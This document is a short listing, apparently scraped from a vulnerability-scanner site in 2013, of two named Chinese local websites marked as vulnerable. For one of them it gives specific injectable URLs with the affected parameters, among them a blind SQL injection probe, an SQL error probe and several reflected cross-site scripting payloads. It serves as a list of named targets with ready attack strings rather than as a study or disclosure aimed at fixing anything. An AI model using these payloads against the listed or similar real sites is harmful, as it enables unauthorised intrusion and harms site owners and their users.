VULN HOSTS'

1. 鞍山房地产门户网站-圈里圈外房产网鞍山站

   http://as.qlqw.cn/

   Scanned: Fri May 17 10:03:00 GMT 2013

   BSQLI:8 | SQLI:1 | XSS:29| Overall Risk:5 (show details)

2. 【鞍山DM67网】-鞍山DM广告,鞍山免费广告网

   http://as.dm67.com/

   Scanned: Tue May 21 07:46:57 GMT 2013

   BSQLI:1 | SQLI:1 | XSS:4| Overall Risk:5 (hide details)
   • Type: bsqli
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/dm67/index.php?citx=3+AND+1%3D1%23&dmk=100000&dmg=1
   • Parameter: citx

   • Type: xss
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/zhaixianbao.php?city=%27%3E%3CSCrIpT%3Ealert%2810988%29%3C%2FScRiPt%3E&mob=12
   • Parameter: city

   • Type: xss
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/zhaixianbao.php?city=PP%C3%88%14&mob=%22%3E%3CSCrIpT%3Ealert%2810003%29%3C%2FScRiPt%3E
   • Parameter: mob

   • Type: xss
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/Mana/?yer=%27%3E%3CSCrIpT%3Ealert%2821948%29%3C%2FScRiPt%3E
   • Parameter: yer

   • Type: sqli
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/Mana/?yer=%27%29
   • Parameter: yer

   • Type: xss
   • Protocol: http
   • Vulnerability URL: http://as.dm67.com/dm67/biaodu.php?dmk=%27%3E%3CSCrIpT%3Ealert%28952%29%3C%2FScRiPt%3E&Pic=1&dmg=1
   • Parameter: dmk